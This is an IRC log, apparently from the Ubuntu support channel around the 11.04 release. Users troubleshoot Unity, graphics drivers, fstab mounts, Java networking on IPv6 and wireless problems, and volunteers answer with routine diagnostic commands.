[13:38] <GeorgeJ> drMike: You could always listen on all interfaces and filter the interfaces you want out by using iptables
[13:39] <hamnegga> you could just have the interface you want setup correctly in interfaces and then update-rc.d for networking
[13:39] <drMike> hmm
[13:40] <rpk> oh, and ActionParsnip, its only remotely, I can connect fine to services on the same pc
[13:40] <Laurenceb> hi, im trying to get integrated webcam working on a lenovo thinkpad sl510
[13:40] <rpk> (from that pc)
[13:40] <Laurenceb> can anyone help?
[13:40] <GeorgeJ> Yes, you should have your interface in /etc/networking/interfaces. I'm not positive but it would be best to check
[13:41] <drMike> thanks
[13:42] <Laurenceb> GeogeJ: auto lo iface lo inet loopback
[13:42] <milen8204> Any one can help? I had preinstaled my ubuntu. And now I am trying to mount old /home folder, which was on different partition, to my new /home folder. What should I do?
[13:44] <ActionParsnip>  milen8204 I'll give you the line from my fstab for you to add
[13:44] <brontosaurusrex> how does dolhin differently behave when it comes to ssh locations than nautilus? what should i read to understand?
[13:44] <ActionParsnip> milen8204: UUID=43beb8fe-c819-4ec4-9909-c0cc658d7a9b /home           ext4    defaults,user_xattr        0       2
[13:44] <ActionParsnip> milen8204: the UUID will be different
[13:45] <GeorgeJ> milen8204: You could replace the UUID from ActionParsnip with the path to the partition you want mounted
[13:46] <m4k> I have my SVN server in windows server and the network runs on DHCP how I can checkout with pc name .... ubuntu is not able to connect with PC name
[13:47] <GeorgeJ> m4k: I think you need samba to resolve windows machine names
[13:47] <ActionParsnip> m4k: does the windows system have a firewall?
[13:47] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[13:47] <GeorgeJ> m4k: Do you have connectivity with the machine, does ping work?
[13:47] <m4k> ActionParsnip, no
[13:47] <ActionParsnip> m4k: I'd add a resove for the name in /etc/hosts so the name resolves to the ip
[13:47] <m4k> GeorgeJ, i can ping with ip but not machine name
[13:48] <ActionParsnip> m4k: the hots file will make it resolve
[13:48] <m4k> ActionParsnip, LAN is DHCP so ip changes every day
[13:48] <GeorgeJ> m4k: Either add a line in /etc/hosts to add an allias to that machine as ActionParsnip suggested or isntall samba.
[13:48] <milen8204> ActionParsnip, I dont understand much
[13:48] <ActionParsnip> m4k: a server on dhcp, weird
[13:49] <m4k> can install samba if that works
[13:50] <hatchetjack> I can no longer move programs in my task bar in 11.04
[13:50] <hatchetjack> any ideas what happened?
[13:50] <GeorgeJ> m4k: See http://www.samba.org/samba/docs/man/manpages-3/nmbd.8.html
[13:51] <ActionParsnip> hatchetjack: it broke is my guess
[13:51] <drMike> how to check if a daemon is up?
[13:51] <rpk> ActionParsnip: I installed ssh, and can connect from windows into my ubuntu machine
[13:51] <m4k> ActionParsnip: yes will change it soon I just joined them
[13:51] <drMike> ps aux | grep mysqld ?
[13:51] <antihero> since upgrading to natty, I don't have an nvidia kernel module, and X11 will not start. Any ideas?
[13:51] <Drduck> Hello
[13:51] <milen8204> ActionParsnip, it is UUID unique for every device ?
[13:51] <drMike> hey Drduck :)
[13:51] <hatchetjack> I am getting use to something breaking when I upgrade ubuntu
[13:51] <ActionParsnip> milen8204: yes
[13:51]  * hatchetjack sighs
[13:51] <antihero> Changing the X11 Module to "nv" gets X running but I don' tthink it has hardware accelleration
[13:51] <ActionParsnip> milen8204: sudo blkid   will show you yours
[13:51] <drMike> aren't we too peas in a pod :)
[13:51] <drMike> *two
[13:51] <ActionParsnip> hatchetjack: ask a silly question....
[13:51] <drMike> lol
[13:51] <GeorgeJ> hatchetjack: That's ubuntu's new replacement shell called Unity
[13:52] <milen8204> ActionParsnip, It is the same for sta1, sta2 and others ?
[13:52] <ActionParsnip> antihero: remove the driver, reboot, install driver, reboot
[13:52] <ActionParsnip> milen8204: any storage device, yes
[13:52] <GeorgeJ> !unity
[13:52] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[13:53] <milen8204> ActionParsnip, I see it is the same for different partition :D thanks
[13:53] <drMike> GeorgeJ: btw
[13:53] <antihero> ActionParsnip: Will do.
[13:53] <drMike> -rwxr-xr-x 1 root root 3899 2010-05-19 20:30 /etc/init.d/ssh
[13:53] <drMike> it's executable
[13:54] <jheyes> LS
[13:54] <root> kill -9 /bin/laden
[13:55] <drMike> $ no pid to kill
[13:55] <drMike> :p
[13:55] <Guest35861> :D
[13:55] <rpk> anyone else want to give it a go?  Have one ubuntu machine, one windows machine.  Can ssh / ping both ways.  Can't connect to server running on ubuntu machine from windows machine.  Server is fine when connecting from ubuntu to itself.
[13:55] <Drduck> I have a problem. I am on my touch so bare with grammar please. I just updated to the new version of ubuntu. My problem is that I am unable to get any sort of wifi connection. When I run my finger across the wifi button, it won't even turn on. Once again, sorry for the grammar.
[13:55] <ActionParsnip> Guest35861: running an irc client as root is REALLY bad idea
[13:55] <Crazy> my chrome 's plugin (shockwave flash) is collaspe
[13:55] <Crazy> can anyone help me
[13:55] <GeorgeJ> rpk: sudo netstat -anl
[13:55] <Guest35861> i'm on windows in fact atm, ActionParsnip .. my user account happens to be named "root" :)
[13:55] <antihero> dpkg-reconfigure nvidia-current followed by reboot seems to have done the trick
[13:56] <antihero> no unity though :S
[13:56] <enav> HELLO.... this is my work station  http://is.gd/I3Ncla , im using 2 video cards  to connect all those displays... ica can use them all together as a single virtual desktop and move windwos among them... but i CAN'T activate compiz effects .... no matter what i do compiz wont work.. .Suggestions?
[13:56] <ActionParsnip> Crazy: what is the output of:  lsb_release -a; uname -a; dpkg -l | grep flash; dpkg -l | grep swf; dpkg -l | grep gnash
[13:56] <misse-> rpk: what kind of server?
[13:56] <GeorgeJ> drMike: Can you see any messages related to sshd in /var/log/messages?
[13:56] <rpk> misse-: Weblogic
[13:57] <drMike> one sec :)
[13:57] <misse-> dunno what that is. but "sudo netstat -anp | grep <port number>" and "sudo iptables -nvL" might help out rpk
[13:57] <Crazy> ActionParsnip: No LSB modules are available.
[13:57] <Crazy> Distributor ID:	Ubuntu
[13:57] <Crazy> Description:	Ubuntu 10.10
[13:57] <Crazy> Release:	10.10
[13:57] <Crazy> Codename:	maverick
[13:57] <FloodBot3> Crazy: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:57] <rpk>  GeorgeJ: http://pastebin.com/GMRmcQBJ
[13:58] <drMike> no messages
[13:58] <drMike> I had to reboot the vps container
[13:58] <drMike> well, Xen container
[13:58] <Crazy> ActionParsnip: Linux ubuntu 2.6.35-28-generic #50-Ubuntu SMP Fri Mar 18 19:00:26 UTC 2011 i686 GNU/Linux
[13:58] <GeorgeJ> rpk: What port is your service listening at?
[13:58] <drMike> then the damn container was stuck
[13:58] <drMike> that's when I did sbin/shutdown -r now
[13:58] <rpk> weblogic http is at 7001
[13:58] <sss314> How do I check last-modified date with command line?
[13:58] <rpk> and the java rmi server should be available at 9099.
[13:58] <Fuchs> sss314: touch
[13:59] <Fuchs> sss314: or ls -l
[13:59] <ActionParsnip> Crazy: put the whole thing in a pastebin, use http://pastebin.com
[13:59] <ipgd> great :p
[13:59] <ActionParsnip> Crazy: when you make the paste, copy the url and paste it in here
[14:00] <sss314> Fuchs, thanks
[14:00] <misse-> rpk: looks like 7001 only listens on tcp6
[14:00] <Crazy> ActionParsnip: ok...did i type lsb_release -a; uname -a; dpkg -l | grep flash; dpkg -l | grep swf; dpkg -l | grep gnash into terminal
[14:00] <GeorgeJ> rpk: The service on port 7001 is listening however the 9099 one is only listening on ipv6 localhost
[14:00] <ipgd> wow it seems all expert here .....
[14:01] <ipgd> greetings everyone
[14:01] <enav> What is the ubuntu bug report channel?
[14:01] <milen8204> ActionParsnip, what-for  I should write in fstab :  defaults,user_xattr, I just want to know\
[14:01] <rpk> GeorgeJ: not sure what to do with that...  problem is definitely in ubuntu, all of this worked 2 days ago before upgrading to 11.04
[14:01] <aLky> guy, my touchpad is not working properly - it moves the cursor to random places and randomly clicks/rightcliks (using acer aspire & ubuntu 11.04)
[14:02] <rpk> so where should I look to fix it?
[14:02] <GeorgeJ> rpk: If the service on port 9099 is running under a JVM, I recall there is a problem related to ipv6 sockets not listening on ipv4 aswell as configured
[14:02] <rpk> GeorgeJ: yeah, its running under a jvm.  Is this a new issue for 11.04?
[14:02] <driller_> anyone familiar with vsftpd working against a mysql database?
[14:03] <enav> driller_: that have no sense
[14:03] <GeorgeJ> rpk: I think the issue is related to this bug http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=560056
[14:03] <ubottu> Debian bug 560056 in openjdk-6 "net.ipv6.bindv6only=1 breaks java networking" [Important,Open]
[14:03] <driller_> how come enav?
[14:03] <enav> driller_: vsftp is a FTIP client/server
[14:03] <driller_> well, mysql database - it reads the users from it (virtual users)
[14:04] <enav> FTP*
[14:04] <zepherin> Unity bricked my laptop
[14:04] <jillsmit> hello
[14:04] <GeorgeJ> rpk: If you search google for "bindv6only" you mght be able to find out more about your problem
[14:04] <No_one_at_all> unity ... unity...sounds familiar but I can't place it, zepherin.
[14:04] <jillsmit> where can i get manuals about zte ax226 4g modem usage under ubuntu 11.04?
[14:05] <rpk> GeorgeJ: hmm, I'm running the Oracle JVM, and it works on localhost though.  Was 7001 http bound to ipv6 only as well?
[14:05] <zepherin> hehehe, my laptop sucks too much to run it
[14:05] <jatt> [ 2613.617845] chrome[19759]: segfault at 74656ebe ip 06a16cad sp bfda70d8 error 4 in libgcflashplayer.so[6429000+b64000]
[14:05] <rpk> (and wtf, how is this an open bug)
[14:06] <jillsmit> where can i get manuals about zte ax226 4g modem usage under ubuntu 11.04?
[14:06] <zepherin> so time to download and install an older version and send a nasty gram to ubunut which will be sent to the email trash can
[14:06] <GeorgeJ> rpk: Ofcourse it works on localhosts, since the service on port 9099 is listening to the localhost ipv6 address only. The service on 7001 is listning on 10.140.179.32:7001  aswell, yes
[14:07] <Artarian> LESSON OF THE DAY: Dont ever ever upgrade your ubuntu to 11.04
[14:07] <zepherin> agreed
[14:08] <Artarian> 11.04 is not the system we are used to use and love
[14:08] <Finn-> Gentlemen. I just updated to 11.04, and now as I boot and login, my desktop is not loading. I had this problem before, but solved it with the uninstallation of compiz. However, it is not installed, and the problem is back. Any ideas?
[14:08] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[14:08] <Artarian> that makes me mad because i had so many cool things set, now everything is messed graphics and menus and...
[14:08] <Artarian> pff nvm
[14:08] <GeorgeJ> Artarian: Ubuntu is perfectly awesome, just not Unity
[14:08] <rpk> GeorgeJ: ah ok, people in that bug were commenting it wasn't working in localhost either. And it does seem everything on 7001 is all tcp6 :/
[14:08] <Pici> Artarian: Feel free to pick Classic Ubuntu from the login screen.
[14:08] <Finn-> I only get the Ubuntu Desktop guide, bun none of the keyboard shortcuts work.
[14:08] <zepherin> is there a way in console without ther internet to disable unity?
[14:09] <zepherin> and bring up old gnome
[14:09] <Guest9190> kb ?
[14:09] <Pici> zepherin: Feel free to pick Classic Ubuntu from the login screen.
[14:09] <zepherin> can't
[14:09] <zepherin> no keyboard access in login screen
[14:09] <GeorgeJ> rpk: If netstat says tcp6 and listens to a ipv4 address that means thats a ipv6 socket with ipv4 fallback afaik
[14:09] <zepherin> or mouse
[14:09] <kellnola> zepherin, then you don't have it installed somehow
[14:09] <zepherin> I have to alt prtscreen RE
[14:10] <enav> wow the channel is a Unoity mess today
[14:10] <GeorgeJ> rpk: So a telnet/nc to 7001 from outside should work
[14:10] <GeorgeJ> zepherin: shift+alt+1
[14:10] <GeorgeJ> zepherin: ctrl+alt+1 sorry
[14:10] <kellnola> F1
[14:10] <rpk> GeorgeJ: ok, I'll try that.  I can definitely connect, but have no idea what to do from there
[14:10] <zepherin> georgeJ: hrmmm, give me a minute
[14:11] <GeorgeJ> rpk: You only telnet to test the connectivity not to issue actuall commands, unless you want to talk HTTP
[14:11] <rpk> GeorgeJ: ok, running telnet from windows loads an empty command shell
[14:11] <GeorgeJ> rpk: Telnetting to 9099 from outside will probably not work since the service is only listening on localhost, its quite simple
[14:12] <rpk> so it looks like it worked
[14:12] <zepherin> no response for ctrl alt 1
[14:12] <rpk> but I still can't open ip:7001 in an external browser
[14:12] <zepherin> just an error saying my hardware isn't good enough and to choose ubuntu classic
[14:12] <IdleOne> zepherin: ctrl - alt - F1
[14:12] <GeorgeJ> zepherin: Ctrl+Alt+ F1 sorry, yes
[14:12] <zepherin> still no response
[14:12] <Finn-> Ah, selecting "Gnome classic" seems to work. Now I just have to make sure that it selects it automatically the next time, or at least until Unity is fixed for me.
[14:13] <ActionParsnip> rpk: do you specify http (or https if it is secure)
[14:13] <zepherin> but I can't select gnome classic
[14:13] <GeorgeJ> zepherin: CTRL+ALT+ F1 trough F8 should cycle you trough different console screens
[14:13] <ActionParsnip> Finn-: the OS remembers the last session
[14:13] <Finn-> most excellent
[14:13] <rpk> ActionParsnip: yeah, http://myip:7001/console
[14:13] <zepherin> none of that works. I get no response except by dumping myself into terminal
[14:13] <Finn-> thanks for the mental support, if nothing else :)   bye~
[14:13] <dejan_> after the update from 10.10 to ubuntu 11 I cant access settings in emphaty messanger
[14:13] <GeorgeJ> zepherin: Is that not what you wanted?
[14:14] <amba> hi
[14:14] <dejan_> also can't access settings in pidgin messagnger
[14:14] <jillsmit> help me please to configure and enable zte modem in ubuntu 11.04
[14:14] <dejan_> how to access this settings now
[14:14] <dejan_> and how to access system settings
[14:14] <zepherin> I want to make ubuntu classic my default from terminal, without the internet
[14:14] <rpk> let me try restarting my server with the java param to prever ipv4
[14:14] <GeorgeJ> dejan_: Read the 11.04 Ubuntu Manual
[14:14] <dejan_> ok
[14:14] <enav> HELLO.... this is my work station  http://is.gd/I3Ncla , im using 2 video cards  to connect all those displays... ica can use them all together as a single virtual desktop and move windwos among them... but i CAN'T activate compiz effects .... no matter what i do compiz wont work.. .Suggestions?
[14:15] <GeorgeJ> enav: You linked to an empty 1px x 1px image.
[14:15] <tallyta> hi
[14:15] <dejan_> bu
[14:15] <dejan_> but
[14:15] <tallyta> hi
[14:15] <dejan_> GeorgeJ, hwo to acces emphaty settings
[14:15] <tallyta> hello
[14:15] <dejan_> why I can't access them
[14:15] <enav> GeorgeJ: try again
[14:15] <mikeatvillage> ActionParsnip: re my dual-boot... StartupManager seemed to work after I ran it under _both_ o/s All OK now.
[14:16] <ActionParsnip> mikeatvillage: ahhh, nice
[14:16] <zepherin> thats not a promising sign
[14:16] <thien> how to adjust(decorate) alt+tab screen in ubuntu?
[14:17] <fredrik_> #join ubuntru.se
[14:17] <fredrik_> #join ubuntu-se
[14:17] <LjL> fredrik_: /join #ubuntu-se
[14:18] <zero> server destiny.sg.galaxynet.org
[14:18] <dejan_> help me plsafter update to ubuntu 11 I cant access emphaty settings
[14:18] <GeorgeJ> For people having problems with Unity, you can switch to the gnome-classic shell. More info here: http://scottlinux.com/2011/03/05/ubuntu-11-04-change-from-unity-to-classic-gnome/
[14:18] <antihero> how do I re-enable the network manager applet
[14:19] <zepherin> georgej: how do I do that from terminal?
[14:19] <cxo> update-alternatives --config gcc, says error, no alternatives?
[14:19] <GeorgeJ> zepherin: Do what?
[14:19] <cxo> I need gcc-4.3 on 11.04
[14:19] <rpk> GeorgeJ: okay, I can hit my weblogic console, but rmi still isn't running on my ip, only:  tcp        0      0 0.0.0.0:9099            0.0.0.0:*               LISTEN      8362/java
[14:19] <cxo> (already installed, just need to get the alternatives switched)
[14:19] <zepherin> georgej: switch to classic gnome
[14:19] <zepherin> or hell just run classic gnome
[14:20] <antihero> In my aptitude list, network-manager-gnome is listed with "iB", how do I fix this
[14:20] <LjL> cxo: try --config cc
[14:20] <GeorgeJ> rpk: That means it is listening on all itnerfaces. Including outside ones
[14:20] <GeorgeJ> zepherin: Can you not access the gnome login screen?
[14:20] <zepherin> no
[14:20] <rpk> GeorgeJ: oh, but still no connection :(
[14:20] <GeorgeJ> paste netstat -nl please
[14:21] <cxo> LjL, it says there is only one alternative link group for cc
[14:21] <LjL> !info gcc
[14:21] <ubottu> gcc (source: gcc-defaults (1.98ubuntu3)): The GNU C compiler. In component main, is optional. Version 4:4.5.2-1ubuntu3 (natty), package size 4 kB, installed size 64 kB
[14:21] <LjL> !info gcc-4.3
[14:21] <ubottu> Package gcc-4.3 does not exist in natty
[14:21] <purvesh> can some one tell me is there any difference in alternate iso and normal desktop iso ?
[14:22] <LjL> cxo: i'm afraid gcc-4.3 is just not available in Natty
[14:22] <GeorgeJ> rpk: Paste netstat -nl please
[14:22] <LjL> !alternate | purvesh
[14:22] <ubottu> purvesh: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[14:22] <cxo> But i installed it with apt-get?
[14:22] <rpk> GeorgeJ: http://pastebin.com/F4UR0uyh
[14:22] <LjL> cxo: what did you install, exactly? the package "gcc-4.3" does not exist
[14:22] <GeorgeJ> rpk: Thats an Unknown paste id
[14:23] <cxo> "gcc-4.3 is already the newest version."
[14:23] <LjL> cxo: did you add a PPA or something?
[14:23] <einseenai> guys, is there repository for classic gnome in 11.04? or is classic desktop entry from gdm menu the same that classic gnome? or it's just fallback?
[14:23] <cxo> Nope. Clean install from the desktop iso
[14:23] <rpk> GeorgeJ: http://pastebin.com/LUGSf5ay  ...not sure what happened to the first one
[14:23] <purvesh> LjL, so via that i can also install on some pc right ?
[14:23] <LjL> purvesh: what do you mean?
[14:23] <LjL> cxo: output of "apt-cache policy gcc-4.3" please
[14:24] <GeorgeJ> rpk: The machine should be accepting connections on both port 9099 and 7001 now
[14:24] <dejan_> help me plsafter update to ubuntu 11 I cant access emphaty settings
[14:24] <purvesh> LjL, if i install ubuntu via alternate cd on some hard disk then there will no any changes between normal setup and alternate cd setup ?
[14:24] <LjL> purvesh: the end result is the same, at least if you select "Ubuntu Desktop" on the alternate cd
[14:24] <dejan_> how to access emphaty settings in new update
[14:25] <rpk> GeorgeJ: hmm, let me redeploy on both the client and server with a new build and see if that randomly fixes something
[14:25] <LjL> purvesh: you might also want to consider using the "minimal" cd, which is only about 10 or 20 megs and downloads everything from the internet while installing
[14:25] <cxo> LjL, http://pastebin.com/a0mv1Ujy
[14:25] <rpk> Still not sure why it would work locally and not remotely though.
[14:25] <purvesh> LjL, only difference is this is text mode and normal cd have GUI mode right ?
[14:25] <LjL> purvesh: basically yes, which means the installer is also different
[14:26] <GeorgeJ> rpk: You should be able to establish a connection to port 9099. However you might get disconnected almost instantly when connecting with telnet
[14:26] <LjL> cxo: so you have it installed but it's not available, weird. maybe it was available in the CD you installed, did you install a beta ISO or the final? anyway does the command "gcc-4.3" work?
[14:26] <purvesh> LjL, but after all installation completed all the content are same like normal
[14:26] <LjL> purvesh: yes
[14:27] <purvesh> LjL, no minimal is not preferable in my case net speed slow or dis connect internet many times :(
[14:27] <cxo> LjL, downloaded release ISO from website, gcc-4.3 command works
[14:27] <LjL> cxo: --config cc doesn't really work for me either, i think you will just have to export CC=gcc-4.3 when compiling things
[14:28] <thien> how to make a windows show up, if i've click "hide" button. i use ubuntu 11.04. i can see no icon in the tray.
[14:28] <purvesh> LjL, Thank You for ur reply and support :)
[14:28] <LjL> welcome
[14:28] <cxo> I'm going to downgrade to 10.04. Dont want to mess with it
[14:29] <s0168656> hi, I just upgraded to ubuntu 11 but my wireless doesn't work anymore.. with ubuntu 10 it worked out of the box, first "lshw -C network" said my wireless was disabled, with "ifconfig wlan0 up" I enabled it (the wireless light on my laptop is also on) but no wireless :(
[14:29] <s0168656> anyone an idea what might be wrong?
[14:29] <korvax> irc.pl
[14:29] <s0168656> or how to downgrade?
[14:29] <remoteCTRL2> hi guys!
[14:29] <antihero> the network manager applet only shows up on one logged in user :S
[14:30] <s0168656> rfkill list all shows "soft blocked" for one wireless lan section
[14:30] <remoteCTRL2> i have just installed natty on a dell latitude d820 with an nvidia G72M [GeForce Go 7400] (rev a1) adapter, unfortunately i don't get a working driver here, always says driver activated but not in use...?
[14:30] <s0168656> (its maby a bit strange that there 're 2 wireless lan sections -- because i think there's only one wireless card
[14:31] <universaljaynius> #thebox-radio
[14:32] <GeorgeJ> Is there any news on Nvidia Optimus support?
[14:32] <drMike> GeorgeJ: different issue
[14:32] <iceroot> GeorgeJ: not working with current stbale kernels
[14:32] <drMike> getting 'Sorry no PTY
[14:33] <iceroot> GeorgeJ: should be fixed with 2.6.39
[14:33] <drMike> No more PTYs, Sorry, could not find a PTY
[14:33] <drMike> if I do screen on anything
[14:33] <GeorgeJ> iceroot: Awesome, when is it due to release?
[14:33] <iceroot> GeorgeJ: kernel.org
[14:33] <iceroot> GeorgeJ: i dont know
[14:33] <GeorgeJ> iceroot: Allright, thanks. Will it be able to switch without rebooting? If so, that would be great!
[14:34] <iceroot> GeorgeJ: yes, that is the current error 2.6.39 should fix
[14:34] <slipkid08> osama got caught!
[14:34] <iceroot> slipkid08: #ubuntu-offtopic
[14:34] <bazhang> slipkid08, offtopic
[14:34] <lcb> !info osama
[14:34] <ubottu> Package osama does not exist in natty
[14:34] <slipkid08> anyway im here if someone needs help
[14:34] <slipkid08> lol
[14:35] <slipkid08> sorry about that
[14:35] <Giles> Hi, I am trying to get unity to work, here are the results of unity_support_test: http://pastebin.com/n8kXeP3a
[14:35] <Hoyt> hhow can i install gdm theme ?
[14:35] <Giles> However when I log in as a new user it says I don't have the hardware to support it.
[14:35] <Giles> And when I log in as myself, it reverts to the classic desktop.
[14:35] <antihero> How do I get the nm-applet to display for multiple users?
[14:35] <remoteCTRL2> where has the desktop effex dialog from appearance gone?
[14:36] <cxo> LjL, Looks I did go from Beta1 to release. My mistake
[14:37] <drMike> Cannot open your terminal '/dev/ttyp0' - please check.
[14:37] <drMike> crw-r--r-- 1 appuser tty  3,  0 May 25  2010 /dev/ttyp0
[14:37] <drMike> I changed it from that to 644 and root:root
[14:37] <drMike> any suggestions?
[14:37] <purvesh> LjL, one more thing bro can you tell me that ubuntu 11.04 Desktop edition is capable to work on intel P4 2.4ghz 1.5gb ram ? or i have to download netbook version ?
[14:38] <s0168656> "sudo iwlist wlan0 scan" shows a lot of networks but i can't connect to any of them with the network applet(;
[14:38] <bazhang> purvesh, there is not a netbook version for 11.04
[14:38] <purvesh> bazhang, ya just now i had seen its torrent link is broken
[14:38] <gnosis> for a 2yo toshiba laptop with 4gb of ram, would it be better to go with 32bit or 64bit ubuntu?  Does 64bit have more driver or application issues?
[14:39] <purvesh> bazhang, but ill try 10.04 netbook version if necessary
[14:39] <sipior> gnosis: 64-bit will be just fine for you.
[14:39] <vooze> gnosis, i run 64 no problem.. no driver problems or anything
[14:39] <vooze> it all works out of the box
[14:39] <sinistrad> I upgraded to Natty, and wine isn't working quite right. I asked in #winehq, and they told me not to run compiz. I read that Unity needs compiz to run, I'm not quite sure what to do. Any ideas?
[14:39] <remoteCTRL2> hello? desktop effects? any ideas where they went, please?
[14:39] <stimpie> sinistrad: log out and try using the 'classic' sesion
[14:40] <gnosis> alright, was concerned about driver problems with the older laptop.  installing for my 60yo father, so trying to make it as painless as possible
[14:40] <purvesh> LjL, you there ?
[14:40] <gnosis> thanks vooze and sipior
[14:40] <sinistrad> stimpie, Thanks! Will that be deprecated anytime soon?
[14:40] <stimpie> sinistrad: probably not
[14:41] <sinistrad> stimpie, Thanks. I'll try that out and see how it goes.
[14:42] <comeon> hi dudes, i have  been trying to install opencv on ubuntu 11.04, and there is error saying videodev.h is not found
[14:42] <elisa87> when I write the sudo /etc/init.d/gdm stop command can I run other commands in the black window which apears?
[14:42] <comeon> instead there is videodev2.h
[14:42] <comeon> how can i make that work
[14:42] <H4x0rs> hi all
[14:42] <GeorgeJ> As a developer, whnat would you choose? Unity, Gnome3 or KDE?
[14:42] <Giles> what controls whether unity is enabled or not?
[14:42] <purvesh>  can some one tell me that ubuntu 11.04 Desktop edition is capable to work on intel P4   2.4ghz 1.5gb ram ?
[14:43] <GeorgeJ> Giles: Unity is not something you enable. You can choose to use it or not, at the login screen
[14:43] <lcb> purvesh, all
[14:43] <comeon> videodev.h is not there ?
[14:43] <mksystems-online> hello all
[14:43] <comeon> instead videodev2.h
[14:43] <Giles> GeorgeJ: okay, so I choose to use it at the login screen but It doesn't give me the unity desktop.
[14:44] <comeon> opencv is just not installing
[14:44] <purvesh> lcb, it will not hang my p4 right ?
[14:44] <allu2> Is it normal for ubuntu 10.10 to go black after selecting "Try Ubuntu"
[14:44] <lcb> purvesh, you have enough ram and good cpu
[14:44] <purvesh> lcb, so netbook iso is for what ?
[14:44] <velcroshooz> Giles, unity requires 3d, does your video card support it?
[14:44] <Giles> velcroshooz: http://pastebin.com/n8kXeP3a
[14:44] <purvesh> lcb, it is only for single core or what ?
[14:45] <Pici> comeon: There are a number of opencv packages in the repositories, is there a reason you have that you need to compile your own?
[14:45] <lcb> purvesh, what type of machine do you have?
[14:46] <velcroshooz> Giles, dunno why it wouldnt be working then. there were no additional drivers required or anything?
[14:46] <purvesh> lcb, i have 2 cpu one is Intel P4 2.4GHZ with 1.5GB ddr1 Ram, and other AMD Quad Core 64Bit with 2gb ddr2 ram
[14:46] <groundup> I am having problems upgrading packages: http://pastebin.com/XmnYnpaX
[14:47] <lcb> purvesh, download 11.04 desktop edition
[14:47] <purvesh> lcb, Thanx for suggestion :)
[14:47] <Pici> purvesh, lcb: There is not 11.04 netbook edition anymore anyway. They have been consolidated into one version.
[14:47] <Giles> velcroshooz: nope, I uninstalled nvidia-current, as a distro upgrade always seems to pull that in, but my machine doesn't have an nvidia card.
[14:47] <nic_k> #ubuntu-classroom
[14:48] <chtipowa> Hi please i need someone who know Nomachine NX Server, is there anyone here ?
[14:48] <remoteCTRL2> Pici: could you please tell me where the desktop evects vanished to?
[14:48] <remoteCTRL2> -v+f
[14:48] <Giles> remoteCTRL2: mine is gone too.
[14:48] <Pici> remoteCTRL2: Mine work fine.
[14:48] <dasfefg> hello i  dont like gnome 3 and unit
[14:48] <dasfefg> what alternativess
[14:48] <lcb> Pici, thanks, that's why i told to dld desktop...
[14:48] <Pici> dasfefg: Pick Classic ubuntu from the login screen.
[14:49] <Giles> remoteCTRL2: Press F2 and type compiz --replace
[14:49] <H4x0rs> dasfefg, Do you have shift or Caps on your keyboard?
[14:49] <remoteCTRL2> Pici: where are the settings? there is nothing in appearance anymore
[14:49] <purvesh> lcb, there one more thing if i have installed 11.04 64bit desktop version on my quad core 64bit cpu and now i want to put that hard disk to my p4 which is 32 bit cpu so it will work or not ?
[14:49] <Pici> remoteCTRL2: I had ccsm installed, made my changes from there. /shrug
[14:49] <Pici> purvesh: No. It will require a complete reinstall.
[14:50] <Giles> remoteCTRL2: that enables the desktop effects temporarily
[14:50] <dasfefg> hello i  dont like gnome 3 and unit
[14:50] <dasfefg> what alternativess
[14:50] <Giles> dasfefg: unity?
[14:51] <stimpie> dasfefg: gnome2, xfce, kde, e17
[14:51] <purvesh> Pici, ohk ...
[14:51] <remoteCTRL2> Giles: erm... that didnt work so well... ubuntu tried to fire up unity which just froze my dektop...?
[14:51] <H4x0rs> ?
[14:51] <grandpapriz> Good morning, I just upgraded Ubuntu 10 to 10.04 and now can not boot.  I get an error message "out of range", can it be fixed?
[14:51] <Giles> remoteCTRL2: oh thats one up for me, unity just doesn't work.
[14:51] <H4x0rs> grandpapriz, throw it.
[14:52] <Giles> remoteCTRL2: s/for/from/
[14:52] <bazhang> H4x0rs, pardon?
[14:52] <remoteCTRL2> Giles: well that could have to do with the fact that nvidia just doesn't work...
[14:52] <Giles> remoteCTRL2: do you have an nvidia card?
[14:52] <H4x0rs> grandpapriz, Do you have laptop?
[14:52] <leojkd81> ciao
[14:53] <grandpapriz> I  am on a laptop now, my problem is on the desktop, and thanks for the comeback
[14:53] <remoteCTRL2> Giles: in this device that i am currently attempting to fix there is an nvidia card, yes... VGA compatible controller: nVidia Corporation G72M [GeForce Go 7400] (rev a1)
[14:53] <H4x0rs> grandpapriz, Crash the desktop and stay with laptop
[14:53] <lcb> purvesh, i don't think so. Besides, I think you don't get the performance benefits of running true 64bit code on the kernel.
[14:53] <bazhang> H4x0rs, thats not helpful
[14:54] <Giles> remoteCTRL2: dunno then, I had to remove nvidia-current to get 3d working (I don't have an nvidia card)
[14:54] <purvesh> lcb, so the whole data and software and Ubuntu OS will remain same and work perfectly?
[14:54] <grandpapriz> all was well untill I upgraded.....I dual boot the desck top
[14:54] <remoteCTRL2> Giles: whut??? :D
[14:55] <Giles> remoteCTRL2: a distro upgrade always pulls in the nvidia drivers for me for some reason..
[14:55] <lcb> purvesh, you can NOT move 64 to 32 software
[14:55] <grandpapriz> I do have nvidia drivers :-(
[14:55] <DrDuck> Hello, guys. I have a problem with the new release of ubuntu with my wifi connection. Before installing, my wifi was working just fine, but now I can't turn it on when I swipe my finger over the wifi button. I can swipe my finger over it to turn it on at boot up, but once I get to my login menu, my mouse wont move. Any insight into what my issue is would be great.
[14:55] <remoteCTRL2> Giles: jockey-gtk does NOT report on it's own that it found drivers like it usually does, but when i fire up jockey manually it says it has the 173 and the current [recommended] one, both of which produce the same output, ie. driver is activated but currently not in use
[14:55] <ojii> is there a way to replace the 'show photos' shortcut in the launcher with something that is useful for me?
[14:55] <purvesh> lcb, so my installed softwares will not work ?
[14:56] <H4x0rs> grandpapriz, that's helpful http://ubuntuforums.org/showpost.php?p=10740987&postcount=5
[14:56] <lcb> purvesh, you can backup your home dir and restore it. some .configs you might need to adapt to your machine
[14:56] <remoteCTRL2> Giles: although lsmod | grep nvidia say that it IS in use
[14:56] <Giles> remoteCTRL2: I check which hardware I have using lspci.
[14:57] <purvesh> lcb, k....
